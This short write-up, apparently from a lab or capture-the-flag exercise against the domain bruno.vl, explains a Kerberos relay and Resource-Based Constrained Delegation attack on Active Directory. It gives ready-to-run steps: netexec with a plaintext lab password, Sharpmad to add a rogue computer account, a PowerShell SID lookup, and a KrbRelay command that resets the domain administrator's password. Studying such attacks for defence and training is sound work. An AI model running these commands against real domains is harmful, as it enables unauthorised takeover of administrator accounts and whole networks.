Summery

Kerberos Relay Attack adds a fake (or owned) computer account to the target’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute, making it possible to perform a Resource-Based Constrained Delegation Attack against the target. The result of the RBCD attack is Silver ticket access to the target, which can be used for local admin access remotely or even locally (meaning privilege escalation) by patching the Win32 Service Control Manager to use Kerberos Authentication locally.

Exploitation

For this exploit to work, these requirements must be met:

  • LDAP signing not required on Domain Controller (signing:None) - It’s set by default - can be checked with netexec’s netexec ldap brunodc.bruno.vl -u "svc_scan" -p "Sunshine1" -M maq
  • Ability for the current domain user to add computers to the domain - it’s set by default with SeMachineAccountPrivilege - or an owned computer account by itself

Here are the tools needed - SharpMad.exe, CheckPort.exe, GetCLSID.ps1, KrbRelay.

Exploitation steps:

  1. Add a computer account with SharpMad.exe or use an existing and owned computer account - ./Sharpmad.exe MAQ -Action new -MachineAccount roguecomputer -MachinePassword Rogue
  2. Get the SID of that computer object with PowerShell - [System.Security.Principal.SecurityIdentifier]::new((([ADSI]"LDAP://CN=roguecomputer,CN=Computers,DC=bruno,DC=vl").objectSID).Value,0).Value
  3. Use CheckPort.exe to find a suitable port to host the OXID Resolver . - .\CheckPort.exe
  4. Use GetCLSID.ps1 to acquire a list of valuable CLSID’s - .\GetCLSID.ps1
  5. Change the administrator’s password - ./KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5101 -ssl -port 10246 -reset-password administrator Lacure77#
  6. Now you should be able to authenticate as administrator with WinRM, RDP or whatever else.

References

Good exploitation guide